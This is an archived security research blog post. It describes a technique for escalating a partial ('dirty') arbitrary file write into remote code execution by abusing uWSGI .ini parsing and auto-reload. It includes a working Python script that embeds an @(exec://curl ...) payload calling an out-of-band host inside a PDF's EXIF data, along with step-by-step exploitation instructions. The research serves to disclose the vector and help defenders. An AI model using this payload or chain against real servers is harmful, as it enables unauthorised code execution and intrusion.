

A New Vector For “Dirty” Arbitrary File Write to RCE

A New Vector For “Dirty” Arbitrary File Write to RCE - Maxence Schmitt, Lorenzo Stella, blog.doyensec.com.

- Published: date not stated
- Original: <<https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html>>
- Preserved from: <https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html> (stored) on 2026-08-11
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

A New Vector For “Dirty” Arbitrary File Write to RCE · Doyensec's Blog

A New Vector For “Dirty” Arbitrary File Write to RCE

28 Feb 2023 - Posted by Maxence Schmitt, Lorenzo Stella



- **Control of the full file path or of the file name only:** In this scenario, the attacker has the ability to control the full file path or the name of the uploaded file, but not its contents. Depending on the permissions applied to the target directory and on the target application, the impact may vary from Denial of Service to interfering with the application logic to bypass potential security-sensitive features.
- **Control of the file contents only:** an attacker has control over the contents of the uploaded file but not over the file path. The impact can vary greatly in this case, due to numerous factors.
- **Full Arbitrary File Write:** an attacker has control over both of the above. This often results in RCE using various methods.

- Overwriting or adding files that will be processed by the application server:
- Configuration files (e.g., `.htaccess`, `.config`, `web.config`, `httpd.conf`, `__init__.py` and `.xml`)
- Source files being served from the root of the application (e.g., `.php`, `.asp`, `.jsp` files)

- Temp files
- Secrets or environmental files (e.g., `venv`)
- Serialized session files
- Manipulating procs to execute arbitrary code
- Overwriting or adding files used or invoked by the OS, or by other daemons in the system:
- Crontab routines
- Bash scripts
- `.bashrc`, `.bash-profile` and `.profile`
- `authorized_keys` and `authorized_keys2` - to gain SSH access
- Abusing supervisors' eager reloading of assets

It's important to note that only a very small set of these tactics can be used in cases of partial control over the file contents in web applications (e.g., PHP, ASP or temp files). The specific methods used will depend on the specific application and server configuration, so it is important to understand the unique vulnerabilities and attack vectors that are present in the victims' systems.

The following write-up illustrates a real-world chain of distinct vulnerabilities to obtain arbitrary command execution during one of our engagements, which resulted in the discovery of a new method. **This is particularly useful in case an attacker has only partial control over the injected file contents ("dirty write") or when server-side transformations are performed on its contents.**

An example of a "dirty" arbitrary file write

In our scenario, the application had a vulnerable endpoint, through which, an attacker was able to perform a Path Traversal and write/delete files via a PDF export feature. Its associated function was responsible for:

- Reading an existing PDF template file and its stream
- Combining the PDF template and the new attacker-provided contents
- Saving the results in a PDF file named by the attacker

The attack was limited since it could only impact the files with the correct permissions for the application user, with all of the application files being read-only. While an attacker could already use the vulnerability to first delete the logs or on-file databases, no higher impact was possible at first glance. By looking at the directory, the following file was also available:

```
drwxrwxr-x  6 root    root      4096 Nov 18 13:48 .
-rw-rw-r--  1 webuser webuser 373  Nov 18 13:46 /app/console/uwsgi-sockets.ini
```

uWSGI Lax Parsing of Configuration Files

The victim's application was deployed through a uWSGI application server (v2.0.15) fronting the Flask-based application, acting as a process manager and monitor. uWSGI can be configured using several different methods, supporting loading configuration files via simple disk files (`.ini`). The uWSGI native function responsible for parsing these files is defined in [core/ini.c:128](#) . The configuration file is initially read in full into memory and scanned to locate the string indicating the start of a valid uWSGI configuration (`"[uwsgi]"`):

```

while (len) {
    ini_line = ini_get_line(ini, len);
    if (ini_line == NULL) {
        break;
    }
    lines++;

    // skip empty line
    key = ini_lstrip(ini);
    ini_rstrip(key);
    if (key[0] != 0) {
        if (key[0] == '[') {
            section = key + 1;
            section[strlen(section) - 1] = 0;
        }
        else if (key[0] == ';' || key[0] == '#') {
            // this is a comment
        }
        else {
            // val is always valid, but (obviously) can be
            ignored

            val = ini_get_key(key);

            if (!strcmp(section, section_asked)) {
                got_section = 1;
                ini_rstrip(key);
                val = ini_lstrip(val);
                ini_rstrip(val);
                add_exported_option((char *) key, val,
0);
            }
        }
    }

    len -= (ini_line - ini);
    ini += (ini_line - ini);
}

```

More importantly, uWSGI configuration files can also include “magic” variables, placeholders and operators defined with a precise syntax. The ‘@’ operator in particular is used in the form of `@(filename)` to include the contents of a file. Many uWSGI schemes are supported, including “`exec`” - useful to read from a process’s standard output. These

operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is parsed:

```
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://0)
; read from http
test = @(http://doyensec.com/hello)
; read from a file descriptor
content = @(fd://3)
; read from a process stdout
body = @(exec://whoami)
; call a function returning a char *
characters = @(call://uwsgi_func)
```

uWSGI Auto Reload Configuration

While abusing the above `.ini` files is a good vector, an attacker would still need a way to reload it (such as triggering a restart of the service via a second DoS bug or waiting the server to restart). In order to help with this, a standard uWSGI deployment configuration flag could ease the exploitation of the bug. In certain cases, the uWSGI configuration can specify a py-auto-reload development option, for which the Python modules are monitored within a user-determined time span (3 seconds in this case), specified as an argument. If a change is detected, it will trigger a reload, e.g.:

```
[uwsgi]
home = /app
uid = webapp
gid = webapp
chdir = /app/console
socket = 127.0.0.1:8001
wsgi-file = /app/console/uwsgi-sockets.py
gevent = 500
logto = /var/log/uwsgi/%n.log
harakiri = 30
vacuum = True
py-auto-reload = 3
callable = app
pidfile = /var/run/uwsgi-sockets-console.pid
log-maxsize = 100000000
log-backupname = /var/log/uwsgi/uwsgi-sockets.log.bak
```

In this scenario, directly writing malicious Python code inside the PDF won't work, since the Python interpreter will fail when encountering the PDF's binary data. On the other hand, overwriting a `.py` file with any data will trigger the uWSGI configuration file to be reloaded.

Putting it all together

In our PDF-exporting scenario, we had to craft a polymorphic, syntactically valid PDF file containing our valid multi-lined `.ini` configuration file. The `.ini` payload had to be kept during the merging with the PDF template. We were able to embed the multiline `.ini` payload inside the EXIF metadata of an image included in the PDF. To build this polyglot file we used the following script:

```
from fpdf import FPDF
from exiftool import ExifToolHelper

with ExifToolHelper() as et:
    et.set_tags(
        ["doyensec.jpg"],
        tags={"model": "[uwsgi]
foo = @(exec://curl http://collaborator-unique-host.oastify.com)
"},
        params=["-E", "-overwrite_original"]
    )

class MyFPDF(FPDF):
    pass

pdf = MyFPDF()

pdf.add_page()
pdf.image('./doyensec.jpg')
pdf.output('payload.pdf', 'F')
```

This metadata will be part of the file written on the server. In our exploitation, the eager loading of uWSGI picked up the new configuration and executed our `curl` payload. The payload can be tested locally with the following command:

```
uwsgi --ini payload.pdf
```

Let's exploit it on the web server with the following steps:

- Upload `payload.pdf` into `/app/console/uwsgi-sockets.ini`
- Wait for server to restart or force the uWSGI reload by overwriting any `.py`

- Verify the callback made by `curl` on Burp collaborator

Conclusions

As highlighted in this article, we introduced a new uWSGI-based technique. It comes in addition to the tactics already used in various scenarios by attackers to escalate from arbitrary file write (AFW) vulnerabilities in web application uploads to remote code execution (RCE). These techniques are constantly evolving with the server technologies, and new methods will surely be popularized in the future. This is why it is important to share the known escalation vectors with the research community. We encourage researchers to continue sharing information on known vectors, and to continue searching for new, less popular vectors.

Archived from <https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html>.
Rendered offline from the local Markdown copy.